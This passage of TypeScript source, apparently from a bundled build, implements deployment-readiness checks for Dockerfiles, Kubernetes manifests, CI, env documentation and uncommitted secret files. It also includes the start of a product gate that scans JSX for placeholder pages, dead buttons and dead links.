copyAllLines,\n unpinnedBases,\n };\n}\n\n/**\n * Diagnose every Dockerfile in the repo: non-root final `USER`, multi-stage,\n * no secret `COPY`, pinned base image, and a `.dockerignore` guarding `COPY . .`.\n */\nexport async function diagnoseDocker(root: string): Promise<Diagnostic> {\n assertRoot(root, 'diagnoseDocker');\n const absRoot = path.resolve(root);\n const files = await collectFiles(absRoot, (_rel, base) => isDockerfileName(base), 4);\n\n if (files.length === 0) {\n return makeDiagnostic(\n 'docker',\n false,\n [{ severity: 'info', message: 'No Dockerfile found; container image checks skipped.' }],\n 'No Dockerfile present.',\n );\n }\n\n const hasDockerignore = await isFileAt(path.join(absRoot, '.dockerignore'));\n const findings: DiagnosticFinding[] = [];\n\n for (const rel of files) {\n const content = await readFileSafe(path.join(absRoot, rel));\n if (content === undefined) {\n findings.push({ severity: 'warning', file: rel, message: 'Dockerfile could not be read.' });\n continue;\n }\n const info = parseDockerfile(content);\n\n if (!info.finalUserExplicit) {\n findings.push({\n severity: 'error',\n file: rel,\n message:\n 'no USER instruction in the final stage; the container runs as root. Add a non-root `USER`.',\n });\n } else if (isRootUser(info.finalUser)) {\n const finding: DiagnosticFinding = {\n severity: 'error',\n file: rel,\n message: `final stage runs as root (USER ${info.finalUser ?? 'root'}); switch to a non-root user.`,\n };\n if (info.finalUserLine !== undefined) finding.line = info.finalUserLine;\n findings.push(finding);\n }\n\n if (info.fromCount <= 1) {\n findings.push({\n severity: 'warning',\n file: rel,\n message:\n 'single-stage build; use a multi-stage build to keep build tooling and dev dependencies out of the final image.',\n });\n }\n\n for (const secret of info.secretCopies) {\n findings.push({\n severity: 'error',\n file: rel,\n line: secret.line,\n message: `copies a secret-bearing path into the image (${secret.spec}); use build secrets or runtime env instead.`,\n });\n }\n\n if (!hasDockerignore) {\n for (const line of info.copyAllLines) {\n findings.push({\n severity: 'warning',\n file: rel,\n line,\n message: '`COPY . .` without a .dockerignore may bake secrets/artifacts into the image.',\n });\n }\n }\n\n for (const base of info.unpinnedBases) {\n findings.push({\n severity: 'warning',\n file: rel,\n line: base.line,\n message: `unpinned base image (${base.image}); pin to a specific tag or digest for reproducible builds.`,\n });\n }\n }\n\n const summary = `${files.length} Dockerfile(s) analysed; ${countBy(findings, 'error')} blocking issue(s), ${countBy(findings, 'warning')} warning(s).`;\n return makeDiagnostic('docker', true, findings, summary);\n}\n\n// ============================================================================\n// Vercel / build readiness\n// ============================================================================\n\n/** Diagnose Vercel/Next build readiness: vercel.json parses, build script, config. */\nexport async function diagnoseVercel(root: string, graph: ProjectGraph): Promise<Diagnostic> {\n assertRoot(root, 'diagnoseVercel');\n assertGraph(graph, 'diagnoseVercel');\n const absRoot = path.resolve(root);\n\n const stack = isRecord(graph.stack) ? graph.stack : undefined;\n const framework = stack && typeof stack.framework === 'string' ? stack.framework : 'unknown';\n const targets =\n stack && Array.isArray(stack.deploymentTargets)\n ? stack.deploymentTargets.filter((t): t is string => typeof t === 'string')\n : [];\n const hasVercelJson = await isFileAt(path.join(absRoot, 'vercel.json'));\n const targetsVercel = targets.some((t) => t.toLowerCase().includes('vercel'));\n const isNext = framework === 'nextjs';\n const applicable = hasVercelJson || targetsVercel || isNext;\n\n if (!applicable) {\n return makeDiagnostic(\n 'vercel',\n false,\n [{ severity: 'info', message: 'No Vercel/Next.js build target detected; build checks skipped.' }],\n 'No Vercel deployment target.',\n );\n }\n\n const findings: DiagnosticFinding[] = [];\n\n if (hasVercelJson) {\n const content = await readFileSafe(path.join(absRoot, 'vercel.json'));\n if (content === undefined) {\n findings.push({ severity: 'warning', file: 'vercel.json', message: 'vercel.json could not be read.' });\n } else {\n try {\n JSON.parse(content);\n } catch (err) {\n findings.push({\n severity: 'error',\n file: 'vercel.json',\n message: `vercel.json is not valid JSON (${err instanceof Error ? err.message : String(err)}); the deploy cannot parse it.`,\n });\n }\n }\n }\n\n const scripts = isRecord(graph.scripts) ? graph.scripts : {};\n const buildScript = scripts['build'];\n if (typeof buildScript !== 'string' || buildScript.trim().length === 0) {\n findings.push({\n severity: 'warning',\n message: 'no `build` script defined; Vercel/CI cannot produce a production build.',\n });\n }\n\n if (isNext) {\n const cfg = await firstExistingFile(absRoot, [\n 'next.config.js',\n 'next.config.mjs',\n 'next.config.ts',\n 'next.config.cjs',\n ]);\n if (cfg === undefined) {\n findings.push({\n severity: 'info',\n message: 'no next.config.* found; the build relies entirely on framework defaults.',\n });\n }\n }\n\n const summary = `Vercel/Next build readiness: ${countBy(findings, 'error')} blocking, ${countBy(findings, 'warning')} warning(s).`;\n return makeDiagnostic('vercel', true, findings, summary);\n}\n\n// ============================================================================\n// GitHub Actions\n// ============================================================================\n\nfunction extractTriggers(on: unknown): string[] {\n if (typeof on === 'string') return [on];\n if (Array.isArray(on)) return on.filter((t): t is string => typeof t === 'string');\n if (isRecord(on)) return Object.keys(on);\n return [];\n}\n\n/** Parse `.github/workflows/*` and summarise workflows, jobs, and triggers. */\nexport async function diagnoseGithubActions(root: string): Promise<Diagnostic> {\n assertRoot(root, 'diagnoseGithubActions');\n const absRoot = path.resolve(root);\n const wfDir = path.join(absRoot, '.github', 'workflows');\n\n if (!(await isDirAt(wfDir))) {\n return makeDiagnostic(\n 'github-actions',\n false,\n [{ severity: 'info', message: 'No .github/workflows directory; GitHub Actions checks skipped.' }],\n 'No GitHub Actions workflows.',\n );\n }\n\n const files = await collectFiles(wfDir, (_rel, base) => /\\.ya?ml$/i.test(base), 1);\n if (files.length === 0) {\n return makeDiagnostic(\n 'github-actions',\n false,\n [{ severity: 'info', message: '.github/workflows is present but contains no workflow files.' }],\n 'No workflow files.',\n );\n }\n\n const findings: DiagnosticFinding[] = [];\n const triggers = new Set<string>();\n let workflowCount = 0;\n let jobCount = 0;\n\n for (const rel of files) {\n const wfRel = `.github/workflows/${rel}`;\n const content = await readFileSafe(path.join(wfDir, rel));\n if (content === undefined) {\n findings.push({ severity: 'warning', file: wfRel, message: 'workflow could not be read.' });\n continue;\n }\n const { docs, errors } = parseYamlDocuments(content);\n if (errors.length > 0) {\n findings.push({ severity: 'error', file: wfRel, message: `workflow YAML failed to parse: ${errors[0]}` });\n continue;\n }\n const doc = docs[0];\n if (!isRecord(doc)) {\n findings.push({ severity: 'warning', file: wfRel, message: 'workflow is not a YAML mapping.' });\n continue;\n }\n workflowCount += 1;\n for (const trigger of extractTriggers(doc['on'])) triggers.add(trigger);\n if (isRecord(doc['jobs'])) jobCount += Object.keys(doc['jobs']).length;\n }\n\n if (workflowCount > 0 && !triggers.has('push') && !triggers.has('pull_request')) {\n findings.push({\n severity: 'warning',\n message: 'no workflow triggers on push or pull_request; CI may not run on code changes.',\n });\n }\n\n const triggerList = [...triggers].sort().join(', ');\n const summary = `${workflowCount} workflow(s), ${jobCount} job(s); triggers: ${triggerList.length > 0 ? triggerList : 'none'}.`;\n return makeDiagnostic('github-actions', workflowCount > 0, findings, summary);\n}\n\n// ============================================================================\n// Kubernetes\n// ============================================================================\n\nfunction securityEnforcesNonRoot(sc: Record<string, unknown>): boolean {\n if (sc['runAsNonRoot'] === true) return true;\n const uid = sc['runAsUser'];\n return typeof uid === 'number' && uid > 0;\n}\n\nfunction extractPodSpec(doc: Record<string, unknown>, kind: string): Record<string, unknown> | undefined {\n const spec = isRecord(doc['spec']) ? doc['spec'] : undefined;\n if (spec === undefined) return undefined;\n if (kind === 'Pod') return spec;\n if (kind === 'CronJob') {\n const jobTemplate = isRecord(spec['jobTemplate']) ? spec['jobTemplate'] : undefined;\n const jobSpec = jobTemplate && isRecord(jobTemplate['spec']) ? jobTemplate['spec'] : undefined;\n const template = jobSpec && isRecord(jobSpec['template']) ? jobSpec['template'] : undefined;\n return template && isRecord(template['spec']) ? template['spec'] : undefined;\n }\n const template = isRecord(spec['template']) ? spec['template'] : undefined;\n return template && isRecord(template['spec']) ? template['spec'] : undefined;\n}\n\nfunction collectContainers(pod: Record<string, unknown>): Record<string, unknown>[] {\n const out: Record<string, unknown>[] = [];\n for (const key of ['containers', 'initContainers', 'ephemeralContainers']) {\n const arr = pod[key];\n if (Array.isArray(arr)) {\n for (const c of arr) if (isRecord(c)) out.push(c);\n }\n }\n return out;\n}\n\nfunction analyzeWorkload(\n kind: string,\n name: string,\n file: string,\n pod: Record<string, unknown> | undefined,\n findings: DiagnosticFinding[],\n): void {\n if (pod === undefined) {\n findings.push({\n severity: 'warning',\n file,\n message: `${kind}/${name} has no pod template spec to inspect for a securityContext.`,\n });\n return;\n }\n\n const podSc = isRecord(pod['securityContext']) ? pod['securityContext'] : undefined;\n const podNonRoot = podSc !== undefined && securityEnforcesNonRoot(podSc);\n const containers = collectContainers(pod);\n\n const offenders: string[] = [];\n for (const container of containers) {\n const cName = typeof container['name'] === 'string' ? container['name'] : '(unnamed)';\n const cSc = isRecord(container['securityContext']) ? container['securityContext'] : undefined;\n const containerNonRoot = cSc !== undefined && securityEnforcesNonRoot(cSc);\n if (!podNonRoot && !containerNonRoot) offenders.push(cName);\n if (cSc !== undefined && cSc['privileged'] === true) {\n findings.push({\n severity: 'error',\n file,\n message: `${kind}/${name} container \"${cName}\" runs privileged; remove privileged: true.`,\n });\n }\n }\n\n if (containers.length === 0) {\n if (!podNonRoot) {\n findings.push({\n severity: 'error',\n file,\n message: `${kind}/${name} does not enforce runAsNonRoot at the pod level; set securityContext.runAsNonRoot: true.`,\n });\n }\n } else if (offenders.length > 0) {\n findings.push({\n severity: 'error',\n file,\n message: `${kind}/${name} does not enforce runAsNonRoot (pod-level unset and container(s) ${offenders.join(', ')} unset); set securityContext.runAsNonRoot: true.`,\n });\n }\n}\n\n/** Diagnose Kubernetes workload manifests: runAsNonRoot enforced, not privileged. */\nexport async function diagnoseK8s(root: string): Promise<Diagnostic> {\n assertRoot(root, 'diagnoseK8s');\n const absRoot = path.resolve(root);\n\n const candidates = new Set<string>();\n for (const dir of K8S_DIRS) {\n const absDir = path.join(absRoot, dir);\n if (await isDirAt(absDir)) {\n for (const rel of await collectFiles(absDir, (_rel, base) => /\\.ya?ml$/i.test(base), 4)) {\n candidates.add(`${dir}/${rel}`);\n }\n }\n }\n // Root-level manifests (single-file deploys) — depth 0 only.\n for (const rel of await collectFiles(absRoot, (r, b) => /\\.ya?ml$/i.test(b) && !r.includes('/'), 0)) {\n candidates.add(rel);\n }\n\n const findings: DiagnosticFinding[] = [];\n const workloads: string[] = [];\n\n for (const rel of [...candidates].sort()) {\n const content = await readFileSafe(path.join(absRoot, rel));\n if (content === undefined) continue;\n // Cheap pre-filter: a k8s manifest declares both apiVersion and kind.\n if (!/\\bkind\\s*:/.test(content) || !/\\bapiVersion\\s*:/.test(content)) continue;\n\n const { docs } = parseYamlDocuments(content);\n for (const doc of docs) {\n if (!isRecord(doc)) continue;\n const kind = typeof doc['kind'] === 'string' ? doc['kind'] : '';\n if (!WORKLOAD_KINDS.has(kind)) continue;\n const metadata = isRecord(doc['metadata']) ? doc['metadata'] : undefined;\n const name = metadata && typeof metadata['name'] === 'string' ? metadata['name'] : '(unnamed)';\n workloads.push(`${kind}/${name}`);\n analyzeWorkload(kind, name, rel, extractPodSpec(doc, kind), findings);\n }\n }\n\n if (workloads.length === 0) {\n return makeDiagnostic(\n 'k8s',\n false,\n [{ severity: 'info', message: 'No Kubernetes workload manifests found; k8s security checks skipped.' }],\n 'No Kubernetes workloads.',\n );\n }\n\n const summary = `${workloads.length} workload(s) analysed; ${countBy(findings, 'error')} runAsNonRoot/privileged issue(s).`;\n return makeDiagnostic('k8s', true, findings, summary);\n}\n\n// ============================================================================\n// Production config (env documentation)\n// ============================================================================\n\nfunction parseEnvNames(content: string): string[] {\n const names: string[] = [];\n for (const raw of content.split(/\\r?\\n/)) {\n const m = /^\\s*#?\\s*(?:export\\s+)?([A-Za-z_][A-Za-z0-9_]*)\\s*=/.exec(raw);\n if (m && m[1] !== undefined) names.push(m[1]);\n }\n return names;\n}\n\n/** Every application env var referenced in the graph is documented in `.env.example`. */\nexport async function productionConfigCheck(root: string, graph: ProjectGraph): Promise<Diagnostic> {\n assertRoot(root, 'productionConfigCheck');\n assertGraph(graph, 'productionConfigCheck');\n const absRoot = path.resolve(root);\n\n const referenced = new Set<string>();\n for (const env of graph.envVars) {\n if (!isRecord(env) || typeof env.name !== 'string' || env.name.length === 0) continue;\n if (PLATFORM_ENV.has(env.name) || env.name.startsWith('npm_')) continue;\n referenced.add(env.name);\n }\n\n if (referenced.size === 0) {\n return makeDiagnostic(\n 'production-config',\n false,\n [\n {\n severity: 'info',\n message: 'No application environment variables referenced; env documentation check skipped.',\n },\n ],\n 'No application env vars referenced.',\n );\n }\n\n const documented = new Set<string>();\n let exampleFound: string | undefined;\n for (const file of ENV_EXAMPLE_FILES) {\n const content = await readFileSafe(path.join(absRoot, file));\n if (content === undefined) continue;\n exampleFound = exampleFound ?? file;\n for (const name of parseEnvNames(content)) documented.add(name);\n }\n\n const findings: DiagnosticFinding[] = [];\n if (exampleFound === undefined) {\n findings.push({\n severity: 'warning',\n message: `no .env.example found although ${referenced.size} env var(s) are referenced; add one so required configuration is discoverable.`,\n });\n }\n\n const undocumented = [...referenced].filter((name) => !documented.has(name)).sort();\n const exampleLabel = exampleFound ?? '.env.example';\n for (const name of undocumented) {\n findings.push({\n severity: 'error',\n message: `env var \"${name}\" is referenced in code but not documented in ${exampleLabel}.`,\n });\n }\n\n const summary = `${referenced.size} application env var(s); ${undocumented.length} undocumented.`;\n return makeDiagnostic('production-config', true, findings, summary);\n}\n\n// ============================================================================\n// Secrets exposure\n// ============================================================================\n\nfunction parseGitignore(content: string): string[] {\n const out: string[] = [];\n for (const raw of content.split(/\\r?\\n/)) {\n const line = raw.trim();\n if (line.length === 0 || line.startsWith('#')) continue;\n out.push(line);\n }\n return out;\n}\n\nfunction isGitignored(rel: string, patterns: string[]): boolean {\n const norm = toPosix(rel).replace(/^\\.\\//, '');\n const base = basenameOf(norm);\n for (const raw of patterns) {\n if (raw.startsWith('!')) continue; // negation: conservatively do not treat as \"ignored\"\n const pattern = raw.replace(/^\\/+/, '').replace(/\\/+$/, '');\n if (pattern.length === 0) continue;\n if (pattern === norm || pattern === base) return true;\n let matcher: (input: string) => boolean;\n try {\n matcher = picomatch(pattern, { dot: true });\n } catch {\n continue;\n }\n if (matcher(norm) || matcher(base)) return true;\n try {\n const deep = picomatch(`${pattern}/**`, { dot: true });\n if (deep(norm)) return true;\n } catch {\n // ignore an un-globbable derived pattern\n }\n }\n return false;\n}\n\nfunction secretFileLabel(base: string): string {\n const b = base.toLowerCase();\n if (b.startsWith('.env')) return 'dotenv file';\n if (b.endsWith('.pem')) return 'PEM private key';\n if (b.endsWith('.key')) return 'private key';\n if (b.endsWith('.p12') || b.endsWith('.pfx')) return 'key bundle';\n if (b.startsWith('id_')) return 'SSH private key';\n if (b === '.npmrc') return 'npmrc (may hold an auth token)';\n if (b.includes('credential')) return 'credentials file';\n return 'secret-bearing file';\n}\n\n/** Dotenv/private-key/credentials files in the working tree must be gitignored. */\nexport async function secretsExposureCheck(root: string, graph: ProjectGraph): Promise<Diagnostic> {\n assertRoot(root, 'secretsExposureCheck');\n assertGraph(graph, 'secretsExposureCheck');\n const absRoot = path.resolve(root);\n\n const candidates = await collectFiles(\n absRoot,\n (_rel, base) => !SECRET_PATH_EXCLUDE.test(base) && SECRET_PATH_RE.test(base),\n 3,\n );\n\n if (candidates.length === 0) {\n return makeDiagnostic(\n 'secrets-exposure',\n false,\n [\n {\n severity: 'info',\n message: 'No secret-bearing files (dotenv/keys/credentials) present in the working tree.',\n },\n ],\n 'No secret-bearing files present.',\n );\n }\n\n const gitignore = await readFileSafe(path.join(absRoot, '.gitignore'));\n const patterns = gitignore !== undefined ? parseGitignore(gitignore) : [];\n const findings: DiagnosticFinding[] = [];\n\n for (const rel of candidates) {\n const label = secretFileLabel(basenameOf(rel));\n if (isGitignored(rel, patterns)) {\n findings.push({ severity: 'info', file: rel, message: `${label} present but gitignored (not committed).` });\n } else {\n findings.push({\n severity: 'error',\n file: rel,\n message: `${label} is in the working tree and not covered by .gitignore; it risks being committed. Add it to .gitignore and rotate the secret if it was ever pushed.`,\n });\n }\n }\n\n const summary = `${candidates.length} secret-bearing file(s); ${countBy(findings, 'error')} not gitignored.`;\n return makeDiagnostic('secrets-exposure', true, findings, summary);\n}\n\n// ============================================================================\n// CI health\n// ============================================================================\n\n/** A CI provider is configured, and any YAML-based config parses. */\nexport async function ciHealth(root: string): Promise<Diagnostic> {\n assertRoot(root, 'ciHealth');\n const absRoot = path.resolve(root);\n\n const present: string[] = [];\n const findings: DiagnosticFinding[] = [];\n\n const gh = await diagnoseGithubActions(root);\n if (gh.applicable) {\n present.push('GitHub Actions');\n for (const f of gh.findings) if (f.severity === 'error') findings.push(f);\n }\n\n for (const provider of FILE_CI_PROVIDERS) {\n const abs = path.join(absRoot, provider.file);\n if (!(await isFileAt(abs))) continue;\n present.push(provider.name);\n if (!provider.yaml) continue;\n const content = await readFileSafe(abs);\n if (content === undefined) continue;\n const { errors } = parseYamlDocuments(content);\n if (errors.length > 0) {\n findings.push({\n severity: 'error',\n file: provider.file,\n message: `${provider.name} config failed to parse: ${errors[0]}`,\n });\n }\n }\n\n if (present.length === 0) {\n findings.push({\n severity: 'warning',\n message:\n 'no CI configuration detected (GitHub Actions / GitLab / CircleCI / …); add a pipeline that runs typecheck, lint, build, and test on every push.',\n });\n return makeDiagnostic('ci', true, findings, 'No CI configuration detected.');\n }\n\n const summary = `CI providers: ${[...new Set(present)].sort().join(', ')}.`;\n return makeDiagnostic('ci', true, findings, summary);\n}\n\n// ============================================================================\n// Deployment readiness (aggregate)\n// ============================================================================\n\n/**\n * Aggregate deployment readiness over every commander diagnostic. Read-only:\n * runs each diagnostic, flattens findings, and classifies a readiness level\n * (`NOT_READY` on any error finding, `READY_WITH_WARNINGS` on warnings only,\n * else `READY`).\n */\nexport async function deploymentReadiness(\n root: string,\n graph: ProjectGraph,\n config: CortexConfig,\n): Promise<DeploymentReadiness> {\n assertRoot(root, 'deploymentReadiness');\n assertGraph(graph, 'deploymentReadiness');\n\n const diagnostics = await Promise.all([\n productionConfigCheck(root, graph),\n diagnoseDocker(root),\n secretsExposureCheck(root, graph),\n diagnoseK8s(root),\n ciHealth(root),\n diagnoseVercel(root, graph),\n diagnoseGithubActions(root),\n ]);\n\n const findings = diagnostics.flatMap((d) => d.findings);\n const errorCount = countBy(findings, 'error');\n const warningCount = countBy(findings, 'warning');\n const ok = errorCount === 0;\n const level: DeploymentReadinessLevel =\n errorCount > 0 ? 'NOT_READY' : warningCount > 0 ? 'READY_WITH_WARNINGS' : 'READY';\n\n const mode = isRecord(config) && typeof config.mode === 'string' ? config.mode : 'unknown';\n const summary = `Deployment readiness: ${level} (mode: ${mode}) — ${errorCount} blocking, ${warningCount} warning(s) across ${diagnostics.length} diagnostics.`;\n\n return { ok, level, diagnostics, findings, summary };\n}\n","/**\n * Product gate (§7.21) — deep, TOKENLESS, DETERMINISTIC product-readiness\n * heuristics over the `ProjectGraph`, real file reads, and the `FeatureLedger`\n * (no LLM). Every check is a real detector that reads page/component source\n * (`.tsx` / `.jsx`) and flags a concrete class of \"looks-done-but-isn't\"\n * product defect. A finding is a `CheckResult` (never an exception), so the gate\n * NEVER throws on a detected issue. It throws `GateError` only on invalid input\n * or an internal failure.\n *\n * File reads are fail-safe: an unreadable file is skipped (never aborts the\n * gate), mirroring the security/UI gates' degrade-don't-crash contract. The JSX\n * scanner is brace- and quote-aware so a `>` inside a `{ () => expr }` handler\n * never prematurely closes a tag.\n *\n * The heuristic checks:\n * placeholder-pages (required) page files that render nothing, or only a\n * TODO / \"Coming soon\" / \"Lorem ipsum\" stub\n * fake-buttons (required) <button> with no onClick, no type=submit,\n * and not inside a <form> — a dead control\n * dead-links (required) <a href> pointing at \"#\", \"\", or javascript:\n * missing-states (required) a client data page that handles neither a\n * loading nor an error state (light check)\n * acceptance-criteria (required) FeatureLedger records that claim to be built\n * (shipped/building) but have unmet acceptance\n * criteria or no backing evidence; degrades to\n * a soft advisory if the ledger cannot be read\n *\n * Public API:\n * runProductGate(root, graph, config): Promise<{ result: GateResult; evidence: EvidenceItem[] }>\n */\n\nimport { randomUUID } from 'node:crypto';\nimport { readFile } from 'node:fs/promises';\nimport * as path from 'node:path';\n\nimport { GateError } from '../domain/index';\nimport type {\n CheckResult,\n CortexConfig,\n EvidenceItem,\n EvidenceKind,\n EvidenceStatus,\n FeatureRecord,\n FileNode,\n GateFamily,\n GateResult,\n ProjectGraph,\n} from '../domain/index';\nimport { FeatureLedger } from '../ledgers';\n\n// --- constants --------------------------------------------------------------\n\nconst GATE_NAME = 'product' satisfies GateFamily;\n\n/** Cap findings enumerated inside a single check's detail, so one bad file can't flood it. */\nconst MAX_FINDINGS_LISTED = 8;\n\n/** Page/component source files that carry JSX. */\nconst UI_FILE_RE = /\\.[jt]sx$/;\n\n/** Rendered placeholder copy that essentially only appears in an unfinished page. */\nconst STRONG_PLACEHOLDER_RE =\n /coming soon|lorem ipsum|under construction|placeholder page|content goes here|page not implemented|not implemented yet/i;\n/** A TODO / FIXME / WIP / TBD stub rendered as visible page text (not a comment). */\nconst TODO_TEXT_RE = /(?:^|\\W)(?:todo|fixme|wip|tbd)\\b/i;\n\n/** A button becomes \"real\" through any of these affordances. */\nconst ONCLICK_RE = /\\bon[A-Z][A-Za-z]*\\s*=/; // any onClick/onKeyDown/onPointerUp/… handler\nconst TYPE_SUBMIT_RE = /\\btype\\s*=\\s*['\"]?(?:submit|reset)\\b/i;\nconst FORM_ACTION_RE = /\\bform[Aa]ction\\b/;\nconst DISABLED_RE = /(?:^|\\s)disabled(?:\\s|=|\\/|$)/;\n\n/** Literal href attribute (string value only; a `{…}` expression is dynamic and skipped). */\nconst HREF_LITERAL_RE = /\\bhref\\s*=\\s*(['\"])([^'\"]*)\\1/;\n\n/** Client-side data hooks / raw fetch — a page using one renders while data loads. */\nconst CLIENT_DATA_HOOK_RE = /\\b(?:useQuery|useSuspenseQuery|useInfiniteQuery|useSWR|useMutation)\\b/;\nconst USE_CLIENT_RE = /(^|\\n)\\s*['\"]use client['\"]\\s*;?/;\nconst RAW_FETCH_RE = /\\bfetch\\s*\\(|\\baxios\\b/;\nconst LOADING_RE =\n /\\bisLoading\\b|\\bisFetching\\b|\\bisPending\\b|\\bisValidating\\b|\\bloading\\b|\\bpending\\b|<Skeleton|<Spinner|<Loader|aria-busy/i;\nconst ERROR_RE =\n /\\bisError\\b|\\.error\\b|\\berror\\b|\\bcatch\\s*\\(|\\btry\\s*\\{|\\bonError\\b|role\\s*=\\s*['\"]alert['\"]|<ErrorBoundary|<Error\\b/i;\n\n/** Feature statuses that claim the feature actually exists, so it must be backed by evidence. */\nconst CLAIMED_STATUSES: ReadonlySet<FeatureRecord['status']> = new Set<FeatureRecord['status']>([\n 'shipped',\n 'building',\n]);\n\n// --- internal shapes --------------------------------------------------------\n\ninterface ProductFinding {\n /** the offending location — a repo-relative file path, or a feature label */\n where: string;\n line?: number;\n detail: string;\n}\n\ninterface RichCheck {\n check: CheckResult;\n /** whether a failure of this check blocks the gate verdict */\n required: boolean;\n evidence: EvidenceItem;\n}\n\ninterface EvidenceFields {\n claim: string;\n status: EvidenceStatus;\n kind: EvidenceKind;\n detail: string;\n}\n\ninterface OpenTag {\n /** raw tag name as written (e.g. `div`, `button`, `MyComponent`) */\n tag: string;\n /** the raw attribute text between the tag name and the closing `>` */\n attrs: string;\n /** index of the opening `<` */\n index: number;\n /** index just past the closing `>` (start of the element body) */\n bodyStart: number;\n selfClosing: boolean;\n}\n\n// --- guards -----------------------------------------------------------------\n\nfunction isRecord(value: unknown): value is Record<string, unknown> {\n return value !== null && typeof value === 'object' && !Array.isArray(value);\n}\n\nfunction assertGateInputs(root: string, graph: ProjectGraph, config: CortexConfig): void {\n if (typeof root !== 'string' || root.length === 0) {\n throw new GateError('Product gate requires a non-empty repository root path.');\n }\n if (!isRecord(graph) || !Array.isArray(graph.files)) {\n throw new GateError('Product gate requires a valid ProjectGraph (with a files array).');\n }\n if (!isRecord(config)) {\n throw new GateError('Product gate requires a valid CortexConfig.');\n }\n}\n\n// --- evidence + check construction ------------------------------------------\n\nfunction makeEvidence(fields: EvidenceFields): EvidenceItem {\n return {\n id: randomUUID(),\n claim: fields.claim,\n status: fields.status,\n kind: fields.kind,\n detail: fields.detail,\n createdAt: new Date().toISOString(),\n };\n}\n\nfunction renderFinding(finding: ProductFinding): string {\n const where = finding.line !== undefined ? `${finding.where}:${finding.line}` : finding.where;\n return `${where} — ${finding.detail}`;\n}\n\n/**\n * Fold a detector's findings into a single check + backing evidence. A clean\n * detector (zero findings) produces a passing, `verified` check; any finding\n * produces a failing, `refuted` check whose detail enumerates the offending\n * files/lines (capped).\n */\nfunction buildCategory(\n name: string,\n subject: string,\n findings: ProductFinding[],\n required: boolean,\n): RichCheck {\n const passed = findings.length === 0;\n const shown = findings.slice(0, MAX_FINDINGS_LISTED).map(renderFinding).join('; ');\n const extra =\n findings.length > MAX_FINDINGS_LISTED ? ` (+${findings.length - MAX_FINDINGS_LISTED} more)` : '';\n const detail = passed\n ? `No ${subject} detected.`\n : `${findings.length} ${subject} finding(s): ${shown}${extra}`;\n\n const evidence = makeEvidence({\n claim: `No ${subject}`,\n status: passed ? 'verified' : 'refuted',\n kind: 'file',\n detail,\n });\n return { required, evidence, check: { name, passed, detail, evidenceId: evidence.id } };\n}\n\n// --- file scanning ----------------------------------------------------------\n\nfunction basenameOf(rel: string): string {\n const normalized = rel.replace(/\\\\/g, '/');\n const idx = normalized.lastIndexOf('/');\n return idx === -1 ? normalized : normalized.slice(idx + 1);\n}\n\nfunction isUiFile(rel: string): boolean {\n const base = basenameOf(rel).toLowerCase();\n if (base.endsWith('.test.tsx') || base.endsWith('.test.jsx')) return false;\n if (base.endsWith('.stories.tsx') || base.endsWith('.stories.jsx')) return false;\n return UI_FILE_RE.test(base);\n}\n\n/**\n * Read every UI source file in the graph once, in parallel. Unreadable files are\n * silently skipped (fail-safe) so one permission error never fails the gate.\n */\nasync function readUiSources(absRoot: string, graph: ProjectGraph): Promise<Map<string, string>> {\n const contents = new Map<string, string>();\n const targets = graph.files.filter(\n (node): node is FileNode =>\n isRecord(node) && typeof node.path === 'string' && isUiFile(node.path),\n );\n await Promise.all(\n targets.map(async (node) => {\n try {\n contents.set(node.path, await readFile(path.join(absRoot, node.path), 'utf8'));\n } catch {\n // Unreadable file: skip it. This gate simply has nothing to say about it.\n }\n }),\n );\n return contents;\n}\n\nfunction lineOf(content: string, index: number): number {\n let line = 1;\n for (let i = 0; i < index && i < content.length; i += 1) {\n if (content.charCodeAt(i) === 10) line += 1;\n }\n return line;\n}\n\n/**\n * Extract JSX opening tags with their raw attributes. The scanner is brace- and\n * quote-aware: a `>` inside a `{ () => expr }` handler, a `\"a > b\"` string, or a\n * `` `${…}` `` template does not prematurely close the tag — a naive\n * `<tag[^>]*>` regex would mis-parse every arrow function. Closing tags,\n * fragments (`<>`), and comments (`<!--`) are ignored.\n */\nfunction scanOpeningTags(content: string): OpenTag[] {\n const tags: OpenTag[] = [];\n const start = /<([A-Za-z][\\w.-]*)/g;\n let match: RegExpExecArray | null;\n while ((match = start.exec(content)) !== null) {\n const tag = match[1];\n if (tag === undefined) continue;\n\n let i = start.lastIndex;\n let depth = 0;\n let quote = '';\n let close = -1;\n while (i < content.length) {\n const ch = content[i];\n if (ch === undefined) break;\n if (quote !== '') {\n if (ch === quote) quote = '';\n } else if (ch === '\"' || ch === \"'\" || ch === '`') {\n quote = ch;\n } else if (ch === '{') {\n depth += 1;\n } else if (ch === '}') {\n if (depth > 0) depth -= 1;\n } else if (ch === '>' && depth === 0) {\n close = i;\n break;\n }\n i += 1;\n }\n if (close === -1) break; // unterminated tag: nothing more to scan reliably\n\n const attrs = content.slice(start.lastIndex, close);\n tags.push({\n tag,\n attrs,\n index: match.index,\n bodyStart: close + 1,\n selfClosing: attrs.trimEnd().endsWith('/'),\n });\n start.lastIndex = close + 1;\n }\n return tags;\n}\n\n/** Remove all `{ … }` expressions (brace-aware) from a fragment of JSX body. */\nfunction stripBraceExpressions(body: string): string {\n let out = '';\n let depth = 0;\n for (let i = 0; i < body.length; i += 1) {\n const ch = body[i];\n if (ch === '{') depth += 1;\n else if (ch === '}') {\n if (depth > 0) depth -= 1;\n } else if (depth === 0 && ch !== undefined) {\n out += ch;\n }\n }\n return out;\n}\n\n/**\n * The visible, rendered text of a file: the text nodes that sit directly after\n * each element's opening tag, with `{…}` expressions removed. Deriving text from\n * real tag boundaries (rather than a raw `>…<` scan) keeps arrow-function `=>`\n * bodies and other code out of the \"rendered text\", so a `// TODO` comment is\n * never mistaken for a rendered TODO stub.\n */\nfunction renderedText(content: string, tags: OpenTag[]): string {\n const parts: string[] = [];\n for (const tag of tags) {\n if (tag.selfClosing) continue;\n const next = content.indexOf('<', tag.bodyStart);\n const segment = next === -1 ? content.slice(tag.bodyStart) : content.slice(tag.bodyStart, next);\n const text = stripBraceExpressions(segment).replace(/\\s+/g, ' ').trim();\n if (text.length > 0) parts.push(text);\n }\n return parts.join(' ');\n}\n\n/** Index ranges [openStart, closeEnd) of every `<form>…</form>` block. */\nfunction formRanges(content: string): Array<readonly [number, number]> {\n const ranges: Array<readonly [number, number]> = [];\n const open = /<form\\b/gi;\n let match: RegExpExecArray | null;\n while ((match = open.exec(content)) !== null) {\n const closeIdx = content.indexOf('</form>', open.lastIndex);\n const end = closeIdx === -1 ? content.length : closeIdx + '</form>'.length;\n ranges.push([match.index, end] as const);\n open.lastIndex = end;\n }\n return ranges;\n}\n\nfunction isInsideForm(index: number, ranges: Array<readonly [number, number]>): boolean {\n return 